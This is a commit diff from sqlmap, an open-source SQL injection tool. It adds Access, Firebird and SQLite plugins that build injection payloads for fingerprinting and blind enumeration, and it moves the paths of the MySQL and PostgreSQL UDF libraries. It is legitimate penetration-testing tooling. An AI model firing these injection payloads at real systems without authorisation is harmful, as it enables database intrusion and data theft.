Initial support for SQLite (90% approx).

Initial support for Firebird (30% approx).
Initial support for Access (10% approx).
Shared libraries code/installation scripts ported to 64bit, directory structure adapted.
Minor code adjustments.

plugins/dbms/access.py

@@ -0,0 +1,287 @@
+#!/usr/bin/env python
+
+"""
+$Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
+Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import re
+
+from lib.core.agent import agent
+from lib.core.common import formatDBMSfp
+from lib.core.common import formatFingerprint
+from lib.core.common import getHtmlErrorFp
+from lib.core.common import randomInt
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.exception import sqlmapSyntaxException
+from lib.core.exception import sqlmapUnsupportedFeatureException
+from lib.core.session import setDbms
+from lib.core.settings import ACCESS_ALIASES
+from lib.core.settings import ACCESS_SYSTEM_DBS
+from lib.core.unescaper import unescaper
+from lib.request import inject
+from lib.request.connect import Connect as Request
+
+from plugins.generic.enumeration import Enumeration
+from plugins.generic.filesystem import Filesystem
+from plugins.generic.fingerprint import Fingerprint
+from plugins.generic.misc import Miscellaneous
+from plugins.generic.takeover import Takeover
+
+
+class AccessMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
+    """
+    This class defines Access methods
+    """
+
+    def __init__(self):
+        self.excludeDbsList = ACCESS_SYSTEM_DBS
+
+        Enumeration.__init__(self, "Microsoft Access")
+        Filesystem.__init__(self)
+        Takeover.__init__(self)
+        
+        unescaper.setUnescape(AccessMap.unescape)
+
+    @staticmethod
+    def unescape(expression, quote=True):
+        if quote:
+            while True:
+                index = expression.find("'")
+                if index == -1:
+                    break
+
+                firstIndex = index + 1
+                index = expression[firstIndex:].find("'")
+
+                if index == -1:
+                    raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
+
+                lastIndex = firstIndex + index
+                old = "'%s'" % expression[firstIndex:lastIndex]
+                unescaped = ""
+
+                for i in range(firstIndex, lastIndex):
+                    unescaped += "CHR(%d)" % (ord(expression[i]))
+                    if i < lastIndex - 1:
+                        unescaped += "&"
+
+                expression = expression.replace(old, unescaped)
+        else:
+            unescaped = "".join("CHR(%d)&" % ord(c) for c in expression)
+            if unescaped[-1] == "&":
+                unescaped = unescaped[:-1]
+
+            expression = unescaped
+
+        return expression
+
+    @staticmethod
+    def escape(expression):
+        while True:
+            index = expression.find("CHR(")
+            if index == -1:
+                break
+
+            firstIndex = index
+            index = expression[firstIndex:].find(")")
+
+            if index == -1:
+                raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
+
+            lastIndex = firstIndex + index + 1
+            old = expression[firstIndex:lastIndex]
+            oldUpper = old.upper()
+            oldUpper = oldUpper.lstrip("CHR(").rstrip(")")
+            oldUpper = oldUpper.split("&")
+
+            escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
+            expression = expression.replace(old, escaped).replace("'&'", "")
+
+        return expression
+        
+    def __sandBoxCheck(self):
+        # Reference: http://milw0rm.com/papers/198
+        retVal = None
+        table = None
+        if kb.dbmsVersion and len(kb.dbmsVersion) > 0:
+            if kb.dbmsVersion[0] in ("97", "2000"):
+                table = "MSysAccessObjects"
+            elif kb.dbmsVersion[0] in ("2002-2003", "2007"):
+                table = "MSysAccessStorage"
+            if table:
+                query   = agent.prefixQuery(" AND EXISTS(SELECT CURDIR() FROM %s)" % table)
+                query   = agent.postfixQuery(query)
+                payload = agent.payload(newValue=query)
+                result  = Request.queryPage(payload)
+                retVal = "not sandboxed" if result else "sandboxed"
+        
+        return retVal
+        
+    def __sysTablesCheck(self):
+        infoMsg = "executing system table(s) existance fingerprint"
+        logger.info(infoMsg)
+        
+        # Microsoft Access table reference updated on 01/2010
+        sysTables = { 
+                        "97":           ("MSysModules2", "MSysAccessObjects"),
+                        "2000" :        ("!MSysModules2", "MSysAccessObjects"),
+                        "2002-2003" :   ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
+                        "2007" :        ("MSysAccessStorage", "MSysNavPaneObjectIDs")
+                    }
+        # MSysAccessXML is not a reliable system table because it doesn't always exist
+        # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")
+
+        for version, tables in sysTables.items():
+            exist = True
+            for table in tables:
+                negate = False
+                if table[0] == '!':
+                    negate = True
+                    table = table[1:]
+                randInt = randomInt()
+                query   = agent.prefixQuery(" AND EXISTS(SELECT * FROM %s WHERE %d=%d)" % (table, randInt, randInt))
+                query   = agent.postfixQuery(query)
+                payload = agent.payload(newValue=query)
+                result  = Request.queryPage(payload)
+                if negate:
+                    result = not result
+                exist &= result
+                if not exist:
+                    break
+            if exist:
+                return version
+
+        return None
+        
+    def getFingerprint(self):
+        value  = ""
+        wsOsFp = formatFingerprint("web server", kb.headersFp)
+
+        if wsOsFp:
+            value += "%s\n" % wsOsFp
+
+        if kb.data.banner:
+            dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
+
+            if dbmsOsFp:
+                value += "%s\n" % dbmsOsFp
+
+        value  += "back-end DBMS: "
+
+        if not conf.extensiveFp:
+            value += "Microsoft Access"
+            return value
+
+        actVer = formatDBMSfp() + " (%s)" % (self.__sandBoxCheck())
+        blank  = " " * 15
+        value += "active fingerprint: %s" % actVer
+
+        if kb.bannerFp:
+            banVer = kb.bannerFp["dbmsVersion"]
+
+            if re.search("-log$", kb.data.banner):
+                banVer += ", logging enabled"
+
+            banVer = formatDBMSfp([banVer])
+            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+        htmlErrorFp = getHtmlErrorFp()
+
+        if htmlErrorFp:
+            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+
+        return value
+
+    def checkDbms(self):
+        if conf.dbms in ACCESS_ALIASES:
+            setDbms("Microsoft Access")
+            if not conf.extensiveFp:
+                return True
+
+        logMsg = "testing Microsoft Access"
+        logger.info(logMsg)
+
+        payload = agent.fullPayload(" AND VAL(CVAR(1))=1")
+        result  = Request.queryPage(payload)
+
+        if result:
+            logMsg = "confirming Microsoft Access"
+            logger.info(logMsg)
+
+            payload = agent.fullPayload(" AND IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0")
+            result  = Request.queryPage(payload)
+
+            if not result:
+                warnMsg = "the back-end DMBS is not Microsoft Access"
+                logger.warn(warnMsg)
+                return False
+
+            setDbms("Microsoft Access")
+            
+            if not conf.extensiveFp:
+                return True
+            
+            kb.dbmsVersion = [self.__sysTablesCheck()]
+            
+            return True
+        else:
+            warnMsg = "the back-end DMBS is not Microsoft Access"
+            logger.warn(warnMsg)
+
+            return False
+
+    def getPasswordHashes(self):
+        warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes"
+        logger.warn(warnMsg)
+
+        return {}
+    
+    def readFile(self, rFile):
+        errMsg = "on Microsoft Access it is not possible to read files"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def writeFile(self, wFile, dFile, fileType=None, confirm=True):
+        errMsg = "on Microsoft Access it is not possible to write files"
+        raise sqlmapUnsupportedFeatureException, errMsg
+    
+    def osCmd(self):
+        errMsg = "on Microsoft Access it is not possible to execute commands"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def osShell(self):
+        errMsg = "on Microsoft Access it is not possible to execute commands"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def osPwn(self):
+        errMsg  = "on Microsoft Access it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def osSmb(self):
+        errMsg  = "on Microsoft Access it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise sqlmapUnsupportedFeatureException, errMsg
+    
+    def getBanner(self):
+        errMsg = "on Microsoft Access it is not possible to get a banner"
+        raise sqlmapUnsupportedFeatureException, errMsg

plugins/dbms/firebird.py

@@ -0,0 +1,279 @@
+#!/usr/bin/env python
+
+"""
+$Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
+Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import re
+
+from lib.core.agent import agent
+from lib.core.common import formatDBMSfp
+from lib.core.common import formatFingerprint
+from lib.core.common import getHtmlErrorFp
+from lib.core.common import randomInt, randomRange
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.exception import sqlmapSyntaxException
+from lib.core.exception import sqlmapUnsupportedFeatureException
+from lib.core.session import setDbms
+from lib.core.settings import FIREBIRD_ALIASES
+from lib.core.settings import FIREBIRD_SYSTEM_DBS
+from lib.core.unescaper import unescaper
+from lib.request import inject
+from lib.request.connect import Connect as Request
+
+from plugins.generic.enumeration import Enumeration
+from plugins.generic.filesystem import Filesystem
+from plugins.generic.fingerprint import Fingerprint
+from plugins.generic.misc import Miscellaneous
+from plugins.generic.takeover import Takeover
+
+
+class FirebirdMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
+    """
+    This class defines Firebird methods
+    """
+
+    def __init__(self):
+        self.excludeDbsList = FIREBIRD_SYSTEM_DBS
+
+        Enumeration.__init__(self, "Firebird")
+        Filesystem.__init__(self)
+        Takeover.__init__(self)
+        
+        unescaper.setUnescape(FirebirdMap.unescape)
+
+    @staticmethod
+    def unescape(expression, quote=True):
+        if quote:
+            while True:
+                index = expression.find("'")
+                if index == -1:
+                    break
+
+                firstIndex = index + 1
+                index = expression[firstIndex:].find("'")
+
+                if index == -1:
+                    raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
+
+                lastIndex = firstIndex + index
+                old = "'%s'" % expression[firstIndex:lastIndex]
+                unescaped = ""
+
+                for i in range(firstIndex, lastIndex):
+                    unescaped += "ASCII_CHAR(%d)" % (ord(expression[i]))
+                    if i < lastIndex - 1:
+                        unescaped += "||"
+
+                expression = expression.replace(old, unescaped)
+        else:
+            unescaped = "".join("ASCII_CHAR(%d)||" % ord(c) for c in expression)
+            if unescaped[-1] == "||":
+                unescaped = unescaped[:-1]
+
+            expression = unescaped
+
+        return expression
+
+    @staticmethod
+    def escape(expression):
+        while True:
+            index = expression.find("ASCII_CHAR(")
+            if index == -1:
+                break
+
+            firstIndex = index
+            index = expression[firstIndex:].find(")")
+
+            if index == -1:
+                raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
+
+            lastIndex = firstIndex + index + 1
+            old = expression[firstIndex:lastIndex]
+            oldUpper = old.upper()
+            oldUpper = oldUpper.lstrip("ASCII_CHAR(").rstrip(")")
+            oldUpper = oldUpper.split("||")
+
+            escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
+            expression = expression.replace(old, escaped).replace("'||'", "")
+
+        return expression
+        
+    def getFingerprint(self):
+        value  = ""
+        wsOsFp = formatFingerprint("web server", kb.headersFp)
+
+        if wsOsFp:
+            value += "%s\n" % wsOsFp
+
+        if kb.data.banner:
+            dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
+
+            if dbmsOsFp:
+                value += "%s\n" % dbmsOsFp
+
+        value  += "back-end DBMS: "
+        
+        if not conf.extensiveFp:
+            value += "Firebird"
+            return value
+              
+        actVer  = formatDBMSfp() + " (%s)" % (self.__dialectCheck())
+        blank       = " " * 15
+        value      += "active fingerprint: %s" % actVer
+
+        if kb.bannerFp:
+            banVer = kb.bannerFp["dbmsVersion"]
+
+            if re.search("-log$", kb.data.banner):
+                banVer += ", logging enabled"
+
+            banVer = formatDBMSfp([banVer])
+            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+        htmlErrorFp = getHtmlErrorFp()
+
+        if htmlErrorFp:
+            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+
+        return value
+
+    def __sysTablesCheck(self):
+        retVal = None
+        table = (
+                    ("1.0", [" AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)"]),
+                    ("1.5", [" AND NULLIF(%d,%d) IS NULL", " AND EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)"]),
+                    ("2.0", [" AND EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", " AND BIT_LENGTH(%d)>0", " AND CHAR_LENGTH(%d)>0"]),
+                    ("2.1", [" AND BIN_XOR(%d,%d)=0", " AND PI()>0.%d", " AND RAND()<1.%d", " AND FLOOR(1.%d)>=0"])
+                 )
+        
+        for i in xrange(len(table)):
+            version, checks = table[i]
+            failed = False
+            check = checks[randomRange(0,len(checks)-1)].replace("%d", str(randomRange(1,100)))
+            payload = agent.fullPayload(check)
+            result  = Request.queryPage(payload)
+            if result:
+                retVal = version
+            else:
+                failed = True
+                break
+            if failed:
+                break
+            
+        return retVal
+
+    def __dialectCheck(self):
+        retVal = None
+        if kb.dbms:
+            payload = agent.fullPayload(" AND EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)")
+            result  = Request.queryPage(payload)
+            retVal = "dialect 3" if result else "dialect 1"
+        return retVal
+        
+    def checkDbms(self):
+        if conf.dbms in FIREBIRD_ALIASES:
+            setDbms("Firebird")
+
+            self.getBanner()
+
+            if not conf.extensiveFp:
+                return True
+
+        logMsg = "testing Firebird"
+        logger.info(logMsg)
+        
+        randInt = randomInt()
+
+        payload = agent.fullPayload(" AND EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt))
+        result  = Request.queryPage(payload)
+
+        if result:
+            logMsg = "confirming Firebird"
+            logger.info(logMsg)
+
+            payload = agent.fullPayload(" AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)")
+            result  = Request.queryPage(payload)
+
+            if not result:
+                warnMsg = "the back-end DMBS is not Firebird"
+                logger.warn(warnMsg)
+
+                return False
+
+            setDbms("Firebird")
+
+            self.getBanner()
+
+            if not conf.extensiveFp:
+                return True
+            
+            kb.dbmsVersion = [self.__sysTablesCheck()]
+
+            return True
+        else:
+            warnMsg = "the back-end DMBS is not Firebird"
+            logger.warn(warnMsg)
+
+            return False
+
+    def getDbs(self):
+        warnMsg = "on Firebird it is not possible to enumerate databases"
+        logger.warn(warnMsg)
+
+        return []
+    
+    def getPasswordHashes(self):
+        warnMsg = "on Firebird it is not possible to enumerate the user password hashes"
+        logger.warn(warnMsg)
+
+        return {}
+    
+    def readFile(self, rFile):
+        errMsg = "on Firebird it is not possible to read files"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def writeFile(self, wFile, dFile, fileType=None, confirm=True):
+        errMsg = "on Firebird it is not possible to write files"
+        raise sqlmapUnsupportedFeatureException, errMsg
+    
+    def osCmd(self):
+        errMsg = "on Firebird it is not possible to execute commands"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def osShell(self):
+        errMsg = "on Firebird it is not possible to execute commands"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def osPwn(self):
+        errMsg  = "on Firebird it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def osSmb(self):
+        errMsg  = "on Firebird it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise sqlmapUnsupportedFeatureException, errMsg
+        
+    def forceDbmsEnum(self):
+        conf.db = "Firebird"

plugins/dbms/mysql.py

@@ -540,10 +540,10 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
         self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
 
         if kb.os == "Windows":
-            self.udfLocalFile   += "/mysql/windows/lib_mysqludf_sys.dll"
+            self.udfLocalFile   += "/mysql/windows/32/lib_mysqludf_sys.dll"
             self.udfSharedLibExt = "dll"
         else:
-            self.udfLocalFile   += "/mysql/linux/lib_mysqludf_sys.so"
+            self.udfLocalFile   += "/mysql/linux/32/lib_mysqludf_sys.so"
             self.udfSharedLibExt = "so"
 
     def udfCreateFromSharedLib(self, udf, inpRet):

plugins/dbms/postgresql.py

@@ -412,10 +412,10 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
             raise sqlmapUnsupportedFeatureException, errMsg
 
         if kb.os == "Windows":
-            self.udfLocalFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
+            self.udfLocalFile += "/postgresql/windows/32/%s/lib_postgresqludf_sys.dll" % majorVer
             self.udfSharedLibExt = "dll"
         else:
-            self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
+            self.udfLocalFile += "/postgresql/linux/32/%s/lib_postgresqludf_sys.so" % majorVer
             self.udfSharedLibExt = "so"
 
     def udfCreateFromSharedLib(self, udf, inpRet):

plugins/dbms/sqlite.py

@@ -0,0 +1,294 @@
+#!/usr/bin/env python
+
+"""
+$Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
+Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import re
+
+from lib.core.agent import agent
+from lib.core.common import formatDBMSfp
+from lib.core.common import formatFingerprint
+from lib.core.common import getHtmlErrorFp
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.exception import sqlmapSyntaxException
+from lib.core.exception import sqlmapUnsupportedFeatureException
+from lib.core.session import setDbms
+from lib.core.settings import SQLITE_ALIASES
+from lib.core.settings import SQLITE_SYSTEM_DBS
+from lib.core.unescaper import unescaper
+from lib.request import inject
+from lib.request.connect import Connect as Request
+
+from plugins.generic.enumeration import Enumeration
+from plugins.generic.filesystem import Filesystem
+from plugins.generic.fingerprint import Fingerprint
+from plugins.generic.misc import Miscellaneous
+from plugins.generic.takeover import Takeover
+
+
+class SQLiteMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
+    """
+    This class defines SQLite methods
+    """
+
+    def __init__(self):
+        self.excludeDbsList = SQLITE_SYSTEM_DBS
+
+        Enumeration.__init__(self, "SQLite")
+        Filesystem.__init__(self)
+        Takeover.__init__(self)
+        
+        unescaper.setUnescape(SQLiteMap.unescape)
+
+    @staticmethod
+    def unescape(expression, quote=True):
+        # The following is not supported on SQLite 2
+        return expression
+
+        if quote:
+            expression = expression.replace("'", "''")
+            while True:
+                index = expression.find("''")
+                if index == -1:
+                    break
+
+                firstIndex = index + 2
+                index = expression[firstIndex:].find("''")
+
+                if index == -1:
+                    raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression.replace("''", "'")
+
+                lastIndex = firstIndex + index
+                old = "''%s''" % expression[firstIndex:lastIndex]
+                unescaped = ""
+
+                for i in range(firstIndex, lastIndex):
+                    unescaped += "X'%x'" % ord(expression[i])
+                    if i < lastIndex - 1:
+                        unescaped += "||"
+
+                #unescaped += ")"
+                expression = expression.replace(old, unescaped)
+            expression = expression.replace("''", "'")
+        else:
+            expression = "||".join("X'%x" % ord(c) for c in expression)
+
+        return expression
+
+    @staticmethod
+    def escape(expression):
+        # Example on SQLite 3, not supported on SQLite 2:
+        # select X'48'||X'656c6c6f20576f726c6400'; -- Hello World
+        while True:
+            index = expression.find("X'")
+            if index == -1:
+                break
+
+            firstIndex = index
+            index = expression[firstIndex+2:].find("'")
+
+            if index == -1:
+                raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
+
+            lastIndex = firstIndex + index + 3
+            old = expression[firstIndex:lastIndex]
+            oldUpper = old.upper()
+            oldUpper = oldUpper.replace("X'", "").replace("'", "")
+
+            for i in xrange(len(oldUpper)/2):
+                char = oldUpper[i*2:i*2+2]
+                escaped = "'%s'" % chr(int(char, 16))
+            expression = expression.replace(old, escaped)
+
+        return expression
+        
+    def getFingerprint(self):
+        value  = ""
+        wsOsFp = formatFingerprint("web server", kb.headersFp)
+
+        if wsOsFp:
+            value += "%s\n" % wsOsFp
+
+        if kb.data.banner:
+            dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
+
+            if dbmsOsFp:
+                value += "%s\n" % dbmsOsFp
+
+        value += "back-end DBMS: "
+
+        if not conf.extensiveFp:
+            value += "SQLite"
+            return value
+
+        actVer = formatDBMSfp()
+        blank  = " " * 15
+        value += "active fingerprint: %s" % actVer
+
+        if kb.bannerFp:
+            banVer = kb.bannerFp["dbmsVersion"]
+            banVer = formatDBMSfp([banVer])
+            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+        htmlErrorFp = getHtmlErrorFp()
+
+        if htmlErrorFp:
+            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+
+        return value
+
+    def checkDbms(self):
+        """
+        References for fingerprint:
+
+        * http://www.sqlite.org/lang_corefunc.html
+        * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions
+        """
+
+        if conf.dbms in SQLITE_ALIASES:
+            setDbms("SQLite")
+
+            self.getBanner()
+
+            if not conf.extensiveFp:
+                return True
+
+        logMsg = "testing SQLite"
+        logger.info(logMsg)
+
+        payload = agent.fullPayload(" AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()")
+        result  = Request.queryPage(payload)
+
+        if result:
+            logMsg = "confirming SQLite"
+            logger.info(logMsg)
+
+            payload = agent.fullPayload(" AND SQLITE_VERSION()=SQLITE_VERSION()")
+            result  = Request.queryPage(payload)
+
+            if not result:
+                warnMsg = "the back-end DMBS is not SQLite"
+                logger.warn(warnMsg)
+
+                return False
+
+            setDbms("SQLite")
+
+            self.getBanner()
+
+            if not conf.extensiveFp:
+                return True
+
+            version = inject.getValue("SUBSTR((SQLITE_VERSION()), 1, 1)", unpack=False, charsetType=2)
+            kb.dbmsVersion = [ version ]
+
+            return True
+        else:
+            warnMsg = "the back-end DMBS is not SQLite"
+            logger.warn(warnMsg)
+
+            return False
+
+    def forceDbmsEnum(self):
+        conf.db = "SQLite"
+
+    def getCurrentUser(self):
+        warnMsg = "on SQLite it is not possible to enumerate the current user"
+        logger.warn(warnMsg)
+
+    def getCurrentDb(self):
+        warnMsg = "on SQLite it is not possible to enumerate the current database"
+        logger.warn(warnMsg)
+
+    def isDba(self):
+        warnMsg = "on SQLite the current user has all privileges"
+        logger.warn(warnMsg)
+
+    def getUsers(self):
+        warnMsg = "on SQLite it is not possible to enumerate the users"
+        logger.warn(warnMsg)
+
+        return []
+
+    def getPasswordHashes(self):
+        warnMsg = "on SQLite it is not possible to enumerate the user password hashes"
+        logger.warn(warnMsg)
+
+        return {}
+
+    def getPrivileges(self):
+        warnMsg = "on SQLite it is not possible to enumerate the user privileges"
+        logger.warn(warnMsg)
+
+        return {}
+
+    def getDbs(self):
+        warnMsg = "on SQLite it is not possible to enumerate databases"
+        logger.warn(warnMsg)
+
+        return []
+
+    def getColumns(self, onlyColNames=False):
+        errMsg  = "on SQLite it is not possible to enumerate database "
+        errMsg += "table columns"
+
+        if conf.dumpTable or conf.dumpAll:
+            errMsg += ", provide them with -C option"
+            raise sqlmapUnsupportedFeatureException, errMsg
+
+        logger.warn(errMsg)
+
+    def dumpColumn(self):
+        errMsg = "on SQLite you must specify the table and columns to dump"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def dumpAll(self):
+        errMsg = "on SQLite you must specify the table and columns to dump"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def readFile(self, rFile):
+        errMsg = "on SQLite it is not possible to read files"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def writeFile(self, wFile, dFile, fileType=None, confirm=True):
+        errMsg = "on SQLite it is not possible to write files"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def osCmd(self):
+        errMsg = "on SQLite it is not possible to execute commands"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def osShell(self):
+        errMsg = "on SQLite it is not possible to execute commands"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def osPwn(self):
+        errMsg  = "on SQLite it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise sqlmapUnsupportedFeatureException, errMsg
+
+    def osSmb(self):
+        errMsg  = "on SQLite it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise sqlmapUnsupportedFeatureException, errMsg

plugins/generic/enumeration.py

@@ -68,9 +68,6 @@ class Enumeration:
 
         temp.inference                 = queries[dbms].inference
 
-    def forceDbmsEnum(self):
-        pass
-
     def getVersionFromBanner(self):
         if "dbmsVersion" in kb.bannerFp:
             return
@@ -405,6 +402,15 @@ class Enumeration:
                         ( 2, "super" ),
                         ( 3, "catupd" ),
                      )
+                     
+        firebirdPrivs = {
+                         "S": "SELECT",
+                         "I": "INSERT",
+                         "U": "UPDATE",
+                         "D": "DELETE",
+                         "R": "REFERENCES",
+                         "E": "EXECUTE"
+                     }
 
         if kb.unionPosition:
             if kb.dbms == "MySQL" and not kb.data.has_information_schema:
@@ -564,6 +570,8 @@ class Enumeration:
                         query = rootQuery["blind"]["query2"] % (queryUser, index)
                     elif kb.dbms == "MySQL" and kb.data.has_information_schema:
                         query = rootQuery["blind"]["query"] % (conditionChar, queryUser, index)
+                    elif kb.dbms == "Firebird":
+                        query = rootQuery["blind"]["query"] % (index, queryUser)
                     else:
                         query = rootQuery["blind"]["query"] % (queryUser, index)
                     privilege = inject.getValue(query, inband=False)
@@ -602,6 +610,8 @@ class Enumeration:
                                         privileges.add(mysqlPriv)
 
                             i += 1
+                    elif kb.dbms == "Firebird":
+                        privileges.add(firebirdPrivs[privilege.strip()])
 
                     if self.__isAdminFromPrivileges(privileges):
                         areAdmins.add(user)
@@ -701,7 +711,7 @@ class Enumeration:
             query = rootQuery["inband"]["query"]
             condition = rootQuery["inband"]["condition"]
 
-            if conf.db:
+            if conf.db and kb.dbms != "SQLite":
                 if "," in conf.db:
                     dbs = conf.db.split(",")
                     query += " WHERE "
@@ -717,6 +727,17 @@ class Enumeration:
             value = inject.getValue(query, blind=False)
 
             if value:
+                if kb.dbms == "SQLite":
+                    if isinstance(value, str):
+                        value = [[ "SQLite", value ]]
+                    elif isinstance(value, (list, tuple, set)):
+                        newValue = []
+
+                        for v in value:
+                            newValue.append([ "SQLite", v])
+
+                        value = newValue
+
                 for db, table in value:
                     if not kb.data.cachedTables.has_key(db):
                         kb.data.cachedTables[db] = [table]
@@ -746,7 +767,10 @@ class Enumeration:
                 infoMsg += "database '%s'" % db
                 logger.info(infoMsg)
 
-                query = rootQuery["blind"]["count"] % db
+                if kb.dbms in ("SQLite", "Firebird"):
+                    query = rootQuery["blind"]["count"]
+                else:
+                    query = rootQuery["blind"]["count"] % db
                 count = inject.getValue(query, inband=False, expected="int", charsetType=2)
 
                 if not count.isdigit() or not len(count) or count == "0":
@@ -755,7 +779,7 @@ class Enumeration:
                     logger.warn(warnMsg)
                     continue
 
-                tables     = []
+                tables = []
 
                 if kb.dbms in ( "Microsoft SQL Server", "Oracle" ):
                     plusOne = True
@@ -764,7 +788,10 @@ class Enumeration:
                 indexRange = getRange(count, plusOne=plusOne)
 
                 for index in indexRange:
-                    query = rootQuery["blind"]["query"] % (db, index)
+                    if kb.dbms in ("SQLite", "Firebird"):
+                        query = rootQuery["blind"]["query"] % index
+                    else:
+                        query = rootQuery["blind"]["query"] % (db, index)
                     table = inject.getValue(query, inband=False)
                     tables.append(table)
 
@@ -803,6 +830,23 @@ class Enumeration:
             logger.warn(warnMsg)
 
             conf.db = self.getCurrentDb()
+        
+        firebirdTypes = {
+                            "261":"BLOB",
+                            "14":"CHAR",
+                            "40":"CSTRING",
+                            "11":"D_FLOAT",
+                            "27":"DOUBLE",
+                            "10":"FLOAT",
+                            "16":"INT64",
+                            "8":"INTEGER",
+                            "9":"QUAD",
+                            "7":"SMALLINT",
+                            "12":"DATE",
+                            "13":"TIME",
+                            "35":"TIMESTAMP",
+                            "37":"VARCHAR"
+                        }
 
         rootQuery = queries[kb.dbms].columns
         condition = rootQuery["blind"]["condition"]
@@ -863,6 +907,9 @@ class Enumeration:
             elif kb.dbms == "Microsoft SQL Server":
                 query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
                 query += condQuery.replace("[DB]", conf.db)
